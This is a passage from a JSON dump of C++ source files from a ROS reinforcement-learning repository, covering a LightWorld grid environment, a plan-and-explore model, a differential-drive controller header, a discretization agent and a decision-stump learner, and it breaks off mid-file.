0;\n door_e = 0;\n door_w = 0;\n door_s = 0;\n\n if (!have_key){\n if (rooms[room_id].key_ns <= ns){\n key_s = MAX_SENSE - (ns - rooms[room_id].key_ns);\n }\n if (rooms[room_id].key_ns >= ns){\n key_n = MAX_SENSE - (rooms[room_id].key_ns - ns);\n }\n if (rooms[room_id].key_ew <= ew){\n key_w = MAX_SENSE - (ew - rooms[room_id].key_ew);\n }\n if (rooms[room_id].key_ew >= ew){\n key_e = MAX_SENSE - (rooms[room_id].key_ew - ew);\n }\n }\n\n if (door_open){\n if (rooms[room_id].door_ns <= ns){\n door_s = MAX_SENSE - (ns - rooms[room_id].door_ns);\n }\n if (rooms[room_id].door_ns >= ns){\n door_n = MAX_SENSE - (rooms[room_id].door_ns - ns);\n }\n if (rooms[room_id].door_ew <= ew){\n door_w = MAX_SENSE - (ew - rooms[room_id].door_ew);\n }\n if (rooms[room_id].door_ew >= ew){\n door_e = MAX_SENSE - (rooms[room_id].door_ew - ew);\n }\n }\n\n if (rooms[room_id].lock_ns <= ns){\n lock_s = MAX_SENSE - (ns - rooms[room_id].lock_ns);\n }\n if (rooms[room_id].lock_ns >= ns){\n lock_n = MAX_SENSE - (rooms[room_id].lock_ns - ns);\n }\n if (rooms[room_id].lock_ew <= ew){\n lock_w = MAX_SENSE - (ew - rooms[room_id].lock_ew);\n }\n if (rooms[room_id].lock_ew >= ew){\n lock_e = MAX_SENSE - (rooms[room_id].lock_ew - ew);\n }\n}\n\n\nvoid LightWorld::resetKey() {\n if (!have_key && rooms[room_id].key_ns > -1){\n rooms[room_id].key_ns = rng.uniformDiscrete(1, rooms[room_id].height-2);\n rooms[room_id].key_ew = rng.uniformDiscrete(1, rooms[room_id].width-2);\n }\n}\n\nvoid LightWorld::setKey(std::vector<float> testS){\n if (!have_key){\n float nsDist = 0;\n if (testS[5] > 0)\n nsDist = MAX_SENSE - testS[5];\n else\n nsDist = -MAX_SENSE + testS[8];\n rooms[room_id].key_ns = testS[0] + nsDist;\n float ewDist = 0;\n if (testS[6] > 0)\n ewDist = MAX_SENSE - testS[6];\n else\n ewDist = -MAX_SENSE + testS[7];\n rooms[room_id].key_ew = testS[1] + ewDist;\n }\n}\n\n\n\nbool LightWorld::terminal() const {\n // TODO: different terminal condition\n //return scream || (dangerous && (under_eye == 6 || under_hand == 6));\n return false;\n}\n\nvoid LightWorld::reset() {\n\n // init rooms\n rooms.resize(nrooms);\n\n rooms[0].height = 8;\n rooms[0].width = 7;\n rooms[0].key_ns = 3;\n rooms[0].key_ew = 1;\n rooms[0].lock_ns = 2;\n rooms[0].lock_ew = 6;\n rooms[0].door_ns = 5;\n rooms[0].door_ew = 6;\n\n rooms[1].height = 6;\n rooms[1].width = 5;\n rooms[1].key_ns = 3;\n rooms[1].key_ew = 2;\n rooms[1].lock_ns = 0;\n rooms[1].lock_ew = 3;\n rooms[1].door_ns = 0;\n rooms[1].door_ew = 1;\n\n rooms[2].height = 8;\n rooms[2].width = 5;\n rooms[2].key_ns = -1;\n rooms[2].key_ew = -1;\n rooms[2].lock_ns = 3;\n rooms[2].lock_ew = 4;\n rooms[2].door_ns = 3;\n rooms[2].door_ew = 0;\n\n rooms[3].height = 6;\n rooms[3].width = 7;\n rooms[3].key_ns = 1;\n rooms[3].key_ew = 1;\n rooms[3].lock_ns = 0;\n rooms[3].lock_ew = 4;\n rooms[3].door_ns = 5;\n rooms[3].door_ew = 2;\n\n for (int i = 4; i < nrooms; i++){\n rooms[i].height = i+3;\n rooms[i].width = i+2;\n rooms[i].key_ns = i;\n rooms[i].key_ew = i-1;\n rooms[i].lock_ns = 0;\n rooms[i].lock_ew = i-2;\n rooms[i].door_ns = 0;\n rooms[i].door_ew = i;\n }\n\n // random spot in first room\n room_id = 0;\n ns = rng.uniformDiscrete(1, rooms[0].height-2);\n ew = rng.uniformDiscrete(1, rooms[0].width-2);\n have_key = false;\n door_open = false;\n resetKey();\n updateSensors();\n\n if (LWDEBUG) print_map();\n\n}\n\n\nint LightWorld::getNumActions() {\n if (LWDEBUG) cout << \"Return number of actions: \" << NUM_ACTIONS << endl;\n return NUM_ACTIONS; //num_actions;\n}\n\n\nvoid LightWorld::print_map() const{\n // TODO: print map in rows, including symbols for all objects\n\n cout << \"\\nLightWorld, Room \" << room_id << endl;\n\n // for each row\n for (int j = rooms[room_id].height-1; j >= 0; --j){\n // for each column\n for (int i = 0; i < rooms[room_id].width; i++){\n if (ns == j && ew == i) cout << \"A\";\n else if (j == rooms[room_id].key_ns && i == rooms[room_id].key_ew && !have_key) cout << \"K\";\n else if (j == rooms[room_id].lock_ns && i == rooms[room_id].lock_ew) cout << \"L\";\n else if (j == rooms[room_id].door_ns && i == rooms[room_id].door_ew) cout << \"D\";\n else if (j == 0 || i == 0 || j == rooms[room_id].height-1 || i == rooms[room_id].width-1) cout << \"X\";\n else cout << \".\";\n } // last col of row\n cout << endl;\n } // last row\n\n cout << \"at \" << ns << \", \" << ew << endl;\n cout << \"Key: \" << have_key << \" door: \"<< door_open << endl;\n cout << \"NORTH: key: \" << key_n << \", door: \" << door_n << \", lock: \" << lock_n << endl;\n cout << \"EAST: key: \" << key_e << \", door: \" << door_e << \", lock: \" << lock_e << endl;\n cout << \"SOUTH: key: \" << key_s << \", door: \" << door_s << \", lock: \" << lock_s << endl;\n cout << \"WEST: key: \" << key_w << \", door: \" << door_w << \", lock: \" << lock_w << endl;\n\n\n}\n\n\n\nvoid LightWorld::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n\n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), MAX_SENSE);\n\n // room id only goes to 2\n (*maxFeat)[4] = 2;\n\n // have_key and door_open are boolean\n (*maxFeat)[2] = 1;\n (*maxFeat)[3] = 1;\n\n // room sizes only go to 8\n (*maxFeat)[0] = 8;\n (*maxFeat)[1] = 8;\n\n}\n\nvoid LightWorld::getMinMaxReward(float *minR,\n float *maxR){\n\n *minR = 0.0;\n *maxR = 10.0;\n\n}\n\n\n" }, { "alpha_fraction": 0.6338916420936584, "alphanum_fraction": 0.6452034115791321, "avg_line_length": 29.633333206176758, "blob_id": "4303907cf941162532c3e7695a8b06a2b35f1bf7", "content_id": "bb2fcd891c1a3ed0cbee1d9ecbdc268e3de76179", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4597, "license_type": "no_license", "max_line_length": 113, "num_lines": 150, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/SepPlanExplore.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"SepPlanExplore.hh\"\n\n\n\nSepPlanExplore::SepPlanExplore(int id, int modelType, int predType,\n int nModels, int trainMode,\n int trainFreq,\n float featPct, float expPct,\n float treeThreshold, bool stoch,\n float featRange, Random rng):\n id(id), modelType(modelType), predType(predType), nModels(nModels),\n mode(trainMode), freq(trainFreq),\n featPct(featPct), expPct(expPct),\n treeThresh(treeThreshold), stoch(stoch),\n featRange(featRange), rng(rng)\n{\n SPEDEBUG = false;//true;\n\n cout << \"Created Sep Plan & Explore models \" << id << \" with nModels: \" << nModels << endl;\n\n for (int i = 0; i < id; i++)\n rng.uniform(0,1);\n\n initModels();\n\n}\n\nSepPlanExplore::SepPlanExplore(const SepPlanExplore& spe):\n id(spe.id), modelType(spe.modelType), \n predType(spe.predType), nModels(spe.nModels),\n mode(spe.mode), freq(spe.freq),\n featPct(spe.featPct), expPct(spe.expPct),\n treeThresh(spe.treeThresh), stoch(spe.stoch),\n featRange(spe.featRange), rng(spe.rng)\n{\n cout << \"spe get copy\" << endl;\n SPEDEBUG = spe.SPEDEBUG;\n expModel = spe.expModel->getCopy();\n planModel = spe.planModel->getCopy();\n}\n\nSepPlanExplore* SepPlanExplore::getCopy(){\n SepPlanExplore* copy = new SepPlanExplore(*this);\n return copy;\n}\n\nSepPlanExplore::~SepPlanExplore() {\n delete expModel;\n delete planModel;\n}\n\n\nbool SepPlanExplore::trainInstances(std::vector<classPair> &instances){\n if (SPEDEBUG) cout << id << \"SPE trainInstances: \" << instances.size() << endl;\n\n // train both\n bool expChanged = expModel->trainInstances(instances);\n bool planChanged = planModel->trainInstances(instances);\n\n return (expChanged || planChanged);\n\n}\n\n\n\n// here the target output will be a single value\nbool SepPlanExplore::trainInstance(classPair &instance){\n if (SPEDEBUG) cout << id << \"SPE trainInstance: \" << endl;\n\n // train both\n bool expChanged = expModel->trainInstance(instance);\n bool planChanged = planModel->trainInstance(instance);\n\n return (expChanged || planChanged);\n\n}\n\n// get all the models outputs and combine them somehow\nvoid SepPlanExplore::testInstance(const std::vector<float> &input, std::map<float, float>* retval){\n if (SPEDEBUG) cout << id << \" testInstance\" << endl;\n\n retval->clear();\n\n // use planning model to get predictions\n planModel->testInstance(input, retval);\n\n}\n\n\n\nfloat SepPlanExplore::getConf(const std::vector<float> &input){\n if (SPEDEBUG) cout << \"getConf\" << endl;\n\n // use exploreation model for confidence measure\n return expModel->getConf(input);\n\n}\n\n\n// init models\nvoid SepPlanExplore::initModels(){\n if (SPEDEBUG) cout << \"initModels()\" << endl;\n\n if (nModels < 2){\n cout << \"Should really use Sep plan & explore models with multiple models\" << endl;\n exit(-1);\n }\n\n // explore model should be of type MultipleClassifiers\n expModel = new MultipleClassifiers(id, modelType, predType,\n nModels, mode, freq,\n featPct, expPct, treeThresh, stoch, featRange, rng);\n\n // init the trees or stumps\n if (modelType == C45TREE){\n planModel = new C45Tree(id, mode, freq, 0, 0.0, rng);\n }\n else if (modelType == M5MULTI){\n planModel = new M5Tree(id, mode, freq, 0, 0.0, false, false, treeThresh, rng);\n }\n else if (modelType == M5ALLMULTI){\n planModel = new M5Tree(id, mode, freq, 0, 0.0, false, true, treeThresh, rng);\n }\n else if (modelType == M5ALLSINGLE){\n planModel = new M5Tree(id, mode, freq, 0, 0.0, true, true, treeThresh, rng);\n }\n else if (modelType == M5SINGLE){\n planModel = new M5Tree(id, mode, freq, 0, 0.0, true, false, treeThresh, rng);\n }\n else if (modelType == LSTSINGLE){\n planModel = new LinearSplitsTree(id, mode, freq, 0, 0.0, true, treeThresh, rng);\n }\n else if (modelType == LSTMULTI){\n planModel = new LinearSplitsTree(id, mode, freq, 0, 0.0, false, treeThresh, rng);\n }\n else if (modelType == STUMP){\n planModel = new Stump(id, mode, freq, 0, 0.0, rng);\n }\n else if (modelType == ALLM5TYPES){\n // select an m5 type randomly. so multivariate v single and allfeats v subtree feats\n bool simple = rng.bernoulli(0.5);\n bool allFeats = rng.bernoulli(0.5);\n //cout << \"ALL types init tree \" << i << \" with simple: \" << simple << \" and allFeats: \" << allFeats << endl;\n planModel = new M5Tree(id, mode, freq, 0, 0.0, simple, allFeats, treeThresh, rng);\n }\n else {\n cout << \"Invalid model type for this committee\" << endl;\n exit(-1);\n }\n}\n\n\n" }, { "alpha_fraction": 0.7492711544036865, "alphanum_fraction": 0.7492711544036865, "avg_line_length": 25.365385055541992, "blob_id": "20da0718e5928f3fa6086f758e4ef33ff5f96017", "content_id": "24a9c8b1c1eb126b75ce408f5897a51a49815607", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1372, "license_type": "no_license", "max_line_length": 106, "num_lines": 52, "path": "/src/roundbot_control/include/roundbot_control/DiffController.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "\n#ifndef DIFFCONTROLLER_H_\n#define DIFFCONTROLLER_H_\n\n#include <controller_interface/controller.h>\n#include <hardware_interface/joint_command_interface.h>\n#include <pluginlib/class_list_macros.h>\n\n#include <geometry_msgs/Twist.h>\n#include <roundbot_control/MotorSim.h>\n\nnamespace roundbot_control\n{\n\nclass DiffController : public controller_interface::Controller<hardware_interface::VelocityJointInterface>\n{\npublic:\n bool init(hardware_interface::VelocityJointInterface* hw, ros::NodeHandle &n);\n void update(const ros::Time& time, const ros::Duration& period);\n void starting(const ros::Time& time);\n void stopping(const ros::Time& time);\nprivate:\n void recvTwist(const geometry_msgs::Twist::ConstPtr& msg);\n void loadParams(ros::NodeHandle& n);\n\n ros::Subscriber sub_twist_;\n\n hardware_interface::JointHandle left_joint_;\n hardware_interface::JointHandle right_joint_;\n\n MotorSim* left_motor_;\n MotorSim* right_motor_;\n geometry_msgs::Twist cmd_;\n double left_target_speed_;\n double right_target_speed_;\n ros::Time left_command_stamp_;\n ros::Time command_stamp_;\n\n // Parameters\n std::string left_joint_name_;\n std::string right_joint_name_;\n double timeout_;\n double wheel_radius_;\n double wheel_separation_;\n};\n\nPLUGINLIB_EXPORT_CLASS(roundbot_control::DiffController, controller_interface::ControllerBase);\n\n}\n\n\n\n#endif /* DIFFCONTROLLER_H_ */\n" }, { "alpha_fraction": 0.5477648377418518, "alphanum_fraction": 0.5517452359199524, "avg_line_length": 27.399999618530273, "blob_id": "fde370e2a8e232497e33b03a8838aedd6ba75238", "content_id": "9481a8e158ab6eca3c544cd069bfbef2f0a980fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3266, "license_type": "no_license", "max_line_length": 141, "num_lines": 115, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Agent/DiscretizationAgent.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_agent/DiscretizationAgent.hh>\n#include <algorithm>\n\nDiscretizationAgent::DiscretizationAgent(int n, Agent* a, \n std::vector<float> fmin,\n std::vector<float> fmax,\n bool d){\n\n statesPerDim.resize(fmin.size(), n);\n initEverything(a, fmin, fmax, d);\n\n}\n\nDiscretizationAgent::DiscretizationAgent(std::vector<int> n, Agent* a, \n std::vector<float> fmin,\n std::vector<float> fmax,\n bool d){\n\n if (n.size() != fmin.size()){\n cout << \"ERROR: discretition vector size is different than # features\" << endl;\n exit(-1);\n }\n\n statesPerDim = n;\n initEverything(a, fmin, fmax, d);\n\n}\n\nvoid DiscretizationAgent::initEverything(Agent* a, \n std::vector<float> fmin,\n std::vector<float> fmax,\n bool d){\n agent = a;\n featmin = fmin;\n featmax = fmax;\n DEBUG = d;\n\n // print number of features\n int totalFeatures = 1;\n for (unsigned i = 0; i < featmin.size(); i++){\n if (DEBUG) cout << \"Dim \" << i << \" has \" \n << (1+statesPerDim[i]) << \" values.\" << endl;\n totalFeatures *= (1+statesPerDim[i]);\n }\n if (DEBUG) cout << \"Total # States: \" << totalFeatures << endl;\n\n}\n\nDiscretizationAgent::~DiscretizationAgent(){\n delete agent;\n}\n\nint DiscretizationAgent::first_action(const std::vector<float> &s) {\n std::vector<float> ds = discretizeState(s);\n\n return agent->first_action(ds);\n}\n\nint DiscretizationAgent::next_action(float r, const std::vector<float> &s) {\n std::vector<float> ds = discretizeState(s);\n\n return agent->next_action((int)r, ds);\n}\n\nvoid DiscretizationAgent::last_action(float r) {\n return agent->last_action((int)r);\n}\n\n\nvoid DiscretizationAgent::setDebug(bool b){}\n\nstd::vector<float> DiscretizationAgent::discretizeState(const std::vector<float> &s){\n std::vector<float> ds;\n ds.resize(s.size());\n \n // since i'm sometimes doing this for discrete domains\n // want to center bins on 0, not edge on 0\n //cout << \"feat \" << i << \" range: \" << featmax[i] << \" \" << featmin[i] << \" \" << (featmax[i]-featmin[i]) << \" n: \" << (float)statesPerDim;\n for (unsigned i = 0; i < s.size(); i++){\n float factor = (featmax[i] - featmin[i]) / (float)statesPerDim[i];\n int bin = 0;\n if (s[i] > 0){\n bin = (int)((s[i]+factor/2) / factor);\n } else {\n bin = (int)((s[i]-factor/2) / factor);\n }\n \n ds[i] = factor*bin;\n //cout << \"DA factor: \" << factor << \" bin: \" << bin;\n //cout << \" Original: \" << s[i] << \" Discrete: \" << ds[i] << endl;\n }\n\n return ds;\n\n}\n\n\nvoid DiscretizationAgent::seedExp(std::vector<experience> seedings){\n // discretize each experience\n for (unsigned i = 0; i < seedings.size(); i++){\n experience* e = &(seedings[i]);\n\n e->next = discretizeState(e->next);\n e->s = discretizeState(e->s);\n e->reward = ((int)e->reward);\n\n }\n\n // and pass to internal agent\n agent->seedExp(seedings);\n}\n\nvoid DiscretizationAgent::savePolicy(const char* filename){\n agent->savePolicy(filename);\n}\n" }, { "alpha_fraction": 0.5541346073150635, "alphanum_fraction": 0.5619643926620483, "avg_line_length": 25.303203582763672, "blob_id": "42357a8bb1fb9fdacef95df45ab8ec3823e44a3d", "content_id": "ae2bde877e7cb95398a2e904102b78b251f3a64e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 22989, "license_type": "no_license", "max_line_length": 125, "num_lines": 874, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/Stump.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"Stump.hh\"\n\n\n\nStump::Stump(int id, int trainMode, int trainFreq, int m, float featPct, Random rng):\n id(id), mode(trainMode), freq(trainFreq), M(m), featPct(featPct), rng(rng)\n{\n\n nOutput = 0;\n nExperiences = 0;\n\n // how close a split has to be to be randomly selected\n SPLIT_MARGIN = 0.02; //5; //01; //0.05; //0.2; //0.05;\n\n LOSS_MARGIN = 0.0; //0.02;\n REBUILD_RATIO = 0.05;\n\n MIN_GAIN_RATIO = 0.0001; //0.0004; //0.001; //0.0002; //0.001;\n\n ALLOW_ONLY_SPLITS = true; //false;\n\n STDEBUG = false;\n SPLITDEBUG = false; //true;\n\n if (STDEBUG) {\n cout << \"Created decision stump \" << id << endl;\n cout << \" mode: \" << mode\n << \" freq: \" << freq << endl;\n }\n\n initStump();\n\n}\n\nStump::Stump(const Stump& s):\nid(s.id), mode(s.mode), freq(s.freq), M(s.M), featPct(s.featPct), rng(s.rng)\n{\n nOutput = s.nOutput;\n nExperiences = s.nExperiences;\n SPLIT_MARGIN = s.SPLIT_MARGIN;\n LOSS_MARGIN = s.LOSS_MARGIN;\n REBUILD_RATIO = s.REBUILD_RATIO;\n MIN_GAIN_RATIO = s.MIN_GAIN_RATIO;\n ALLOW_ONLY_SPLITS = s.ALLOW_ONLY_SPLITS;\n STDEBUG = s.STDEBUG;\n SPLITDEBUG = s.SPLITDEBUG;\n\n for (int i = 0; i < N_STUMP_EXP; i++){\n allExp[i] = s.allExp[i];\n }\n\n // set experience pointers\n experiences.resize(s.experiences.size());\n for (unsigned i = 0; i < s.experiences.size(); i++){\n experiences[i] = &(allExp[i]);\n }\n\n // actual split\n dim = s.dim;\n val = s.val;\n type = s.type;\n gainRatio = s.gainRatio;\n leftOutputs = s.leftOutputs;\n rightOutputs = s.rightOutputs;\n}\n\nStump* Stump::getCopy(){\n Stump* copy = new Stump(*this);\n return copy;\n}\n\nStump::~Stump() {\n for (unsigned i = N_STUMP_EXP; i < experiences.size(); i++){\n delete experiences[i];\n }\n experiences.clear();\n}\n\n\n// multiple instances at once\nbool Stump::trainInstances(std::vector<classPair> &instances){\n if (STDEBUG) cout << \"trainInstances: \" << instances.size() << endl;\n\n bool modelChanged = false;\n bool doBuild = false;\n\n // loop through instances, possibly checking for errors\n for (unsigned a = 0; a < instances.size(); a++){\n classPair instance = instances[a];\n\n // take from static array until we run out\n stump_experience *e;\n if (nExperiences < N_STUMP_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new stump_experience;\n }\n\n e->input = instance.in;\n e->output = instance.out;\n e->id = nExperiences;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n //cout << nExperiences << endl << flush;\n //if (nExperiences == 503 && id == 10){\n // STDEBUG = true;\n // SPLITDEBUG = true;\n // INCDEBUG = true;\n //}\n\n if (STDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << e->id << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // mode 0: re-build every step\n if (mode == 0 || mode == 1 || nExperiences <= 1){\n // build every step\n doBuild = true;\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == 2){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n doBuild = true;\n }\n }\n\n } // end instance loop\n\n if (doBuild){\n buildStump();\n modelChanged = true;\n }\n\n if (modelChanged){\n if (STDEBUG) cout << \"ST \" << id << \" stump re-built.\" << endl;\n\n if (STDEBUG){\n cout << endl << \"ST: \" << id << endl;\n printStump();\n cout << \"Done printing stump\" << endl;\n }\n }\n\n return modelChanged;\n}\n\n\n// here the target output will be a single value\nbool Stump::trainInstance(classPair &instance){\n if (STDEBUG) cout << \"trainInstance\" << endl;\n\n bool modelChanged = false;\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n stump_experience *e;\n if (nExperiences < N_STUMP_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new stump_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n e->id = nExperiences;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n //cout << nExperiences << endl << flush;\n //if (nExperiences == 503 && id == 10){\n // STDEBUG = true;\n // SPLITDEBUG = true;\n // INCDEBUG = true;\n //}\n\n if (STDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << e->id << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // depending on mode/etc, maybe re-build stump\n\n // mode 0: re-build every step\n if (mode == 0 || mode == 1 || nExperiences <= 1){\n\n // build every step\n buildStump();\n modelChanged = true;\n\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == 2){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n buildStump();\n modelChanged = true;\n\n }\n }\n\n if (modelChanged){\n if (STDEBUG) cout << \"ST \" << id << \" stump re-built.\" << endl;\n\n if (STDEBUG){\n cout << endl << \"ST: \" << id << endl;\n printStump();\n cout << \"Done printing stump\" << endl;\n }\n }\n\n return modelChanged;\n\n}\n\n\n\n// TODO: here we want to return the probability of the output value being each of the possible values, in the stochastic case\nvoid Stump::testInstance(const std::vector<float> &input, std::map<float, float>* retval){\n if (STDEBUG) cout << \"testInstance ST: \" << id << endl;\n\n retval->clear();\n\n // in case the stump is empty\n if (experiences.size() == 0){\n (*retval)[0.0] = 1.0;\n if (STDEBUG) cout << \"no experiences, return 1.0 prob of 0.0\" << endl;\n return; \n }\n\n // and return mapping of outputs and their probabilities\n if (passTest(dim, val, type, input))\n outputProbabilities(leftOutputs, retval);\n else\n outputProbabilities(rightOutputs, retval);\n}\n\nfloat Stump::getConf(const std::vector<float> &input){\n if (STDEBUG) cout << \"numVisits\" << endl;\n\n // in case the stump is empty\n if (experiences.size() == 0){\n return 0;\n }\n\n // and return #\n float conf = (float)nExperiences / (float)(2.0 *M);\n if (conf > 1.0)\n return 1.0;\n else\n return conf;\n\n}\n\n\nint Stump::findMatching(const std::vector<stump_experience*> &instances, int dim,\n int val, int minConf){\n\n int count = 0;\n\n for (unsigned i = 0; i < instances.size(); i++){\n if (!passTest(dim, val, ONLY, instances[i]->input)){\n count++;\n // no need to continue if this won't be the new min\n if (count >= minConf)\n return count;\n }\n }\n return count;\n}\n\n\n\n\n// init the stump\nvoid Stump::initStump(){\n if (STDEBUG) cout << \"initStump()\" << endl;\n\n dim = -1;\n val = -1;\n type = -1;\n\n // current data\n leftOutputs.clear();\n rightOutputs.clear();\n\n // just to ensure the diff models are on different random values\n for (int i = 0; i < id; i++){\n rng.uniform(0, 1);\n }\n\n}\n\n\n/** Decide if this passes the test */\nbool Stump::passTest(int dim, float val, int type, const std::vector<float> &input){\n if (STDEBUG) cout << \"passTest, dim=\" << dim << \",val=\" << val << \",type=\" << type\n << \",input[\"<<dim<<\"]=\" << input[dim] <<endl;\n\n // TODO: deal with categorical attributes in addition to continuous ones\n\n if (type == CUT){\n if (input[dim] > val)\n return false;\n else\n return true;\n } else if (type == ONLY){\n if (input[dim] == val)\n return false;\n else\n return true;\n } else {\n return false;\n }\n\n}\n\n\n/** Build the stump from this node down using this set of experiences. */\nvoid Stump::buildStump(){\n if(STDEBUG) cout << \"buildStump\" << endl;\n\n if (experiences.size() == 0){\n cout << \"Error: buildStump called on stump \" << id << \" with no instances.\" << endl;\n exit(-1);\n }\n\n if (SPLITDEBUG) cout << endl << \"Creating new decision node\" << endl;\n\n //node->nInstances++;\n\n float bestGainRatio = -1.0;\n int bestDim = -1;\n float bestVal = -1;\n int bestType = -1;\n\n testPossibleSplits(&bestGainRatio, &bestDim, &bestVal, &bestType);\n\n implementSplit(bestGainRatio, bestDim, bestVal, bestType);\n\n}\n\n\nvoid Stump::implementSplit(float bestGainRatio, int bestDim,\n float bestVal, int bestType){\n if (STDEBUG) cout << \"implementSplit gainRatio=\" << bestGainRatio\n << \",dim=\" << bestDim\n << \",val=\" << bestVal << \",type=\" << bestType << endl;\n\n\n // set the best split here\n dim = bestDim;\n val = bestVal;\n type = bestType;\n gainRatio = bestGainRatio;\n if (SPLITDEBUG) cout << \"Best split was type \" << type\n << \" with val \" << val\n << \" on dim \" << dim\n << \" with gainratio: \" << bestGainRatio << endl;\n\n\n // split up the instances based on this split\n std::vector<stump_experience*> left;\n std::vector<stump_experience*> right;\n leftOutputs.clear();\n rightOutputs.clear();\n for (unsigned i = 0; i < experiences.size(); i++){\n if (STDEBUG) cout << \"implmentSplit - Classify instance \" << i << \" id: \"\n << experiences[i]->id << \" on new split \" << endl;\n if (passTest(dim, val, type, experiences[i]->input)){\n left.push_back(experiences[i]);\n leftOutputs.insert(experiences[i]->output);\n }\n else{\n right.push_back(experiences[i]);\n rightOutputs.insert(experiences[i]->output);\n }\n }\n\n if (STDEBUG) cout << \"Left has \" << left.size()\n << \", right has \" << right.size() << endl;\n\n}\n\n\n\nvoid Stump::testPossibleSplits(float *bestGainRatio, int *bestDim,\n float *bestVal, int *bestType) {\n if (STDEBUG) cout << \"testPossibleSplits\" << endl;\n\n\n // pre-calculate some stuff for these splits (namely I, P, C)\n float I = calcIforSet(experiences);\n //if (STDEBUG) cout << \"I: \" << I << endl;\n\n int nties = 0;\n\n // for each possible split, calc gain ratio\n for (unsigned idim = 0; idim < experiences[0]->input.size(); idim++){\n\n // we eliminate some random number of splits\n // here (decision is taken from the random set that are left)\n if (rng.uniform() < featPct)\n continue;\n\n\n float* sorted = sortOnDim(idim);\n\n for (int j = 0; j < (int)experiences.size(); j++){\n\n // splits that are cuts\n // if different from last value, try split in between\n if (j > 0 && sorted[j] != sorted[j-1]){\n float splitval = (sorted[j] + sorted[j-1]) / 2.0;\n float gainRatio = calcGainRatio(idim, splitval, CUT, I);\n\n if (SPLITDEBUG) cout << \" CUT split val \" << splitval\n << \" on dim: \" << idim << \" had gain ratio \"\n << gainRatio << endl;\n\n // see if this is the new best gain ratio\n compareSplits(gainRatio, idim, splitval, CUT, &nties,\n bestGainRatio, bestDim, bestVal, bestType);\n\n\n } // if its a possible cut\n\n if (ALLOW_ONLY_SPLITS){\n // splits that are true only if this value is equal\n if (j == 0 || sorted[j] != sorted[j-1]){\n float splitval = sorted[j];\n\n float gainRatio = calcGainRatio(idim, splitval, ONLY, I);\n\n if (SPLITDEBUG) cout << \" ONLY split val \" << splitval\n << \" on dim: \" << idim << \" had gain ratio \"\n << gainRatio << endl;\n\n // see if this is the new best gain ratio\n compareSplits(gainRatio, idim, splitval, ONLY, &nties,\n bestGainRatio, bestDim, bestVal, bestType);\n\n } // splits with only\n }\n\n } // j loop\n delete[] sorted;\n\n }\n}\n\n\n/** Decide if this split is better. */\nvoid Stump::compareSplits(float gainRatio, int dim, float val, int type,\n int *nties, float *bestGainRatio, int *bestDim,\n float *bestVal, int *bestType){\n if (STDEBUG) cout << \"compareSplits gainRatio=\" << gainRatio << \",dim=\" << dim\n << \",val=\" << val << \",type= \" << type <<endl;\n\n\n bool newBest = false;\n\n // if its a virtual tie, break it randomly\n if (fabs(*bestGainRatio - gainRatio) < SPLIT_MARGIN){\n //cout << \"Split tie, making random decision\" << endl;\n\n (*nties)++;\n float randomval = rng.uniform(0,1);\n float newsplitprob = (1.0 / (float)*nties);\n\n if (randomval < newsplitprob){\n newBest = true;\n if (SPLITDEBUG) cout << \" Tie on split. ST: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", selecting new split \" << endl;\n }\n else\n if (SPLITDEBUG) cout << \" Tie on split. ST: \" << id << \" rand: \" << randomval\n << \" splitProb: \" << newsplitprob << \", staying with old split \" << endl;\n }\n\n // if its clearly better, set this as the best split\n else if (gainRatio > *bestGainRatio){\n newBest = true;\n *nties = 1;\n }\n\n\n // set the split features\n if (newBest){\n *bestGainRatio = gainRatio;\n *bestDim = dim;\n *bestVal = val;\n *bestType = type;\n if (SPLITDEBUG){\n cout << \" New best gain ratio: \" 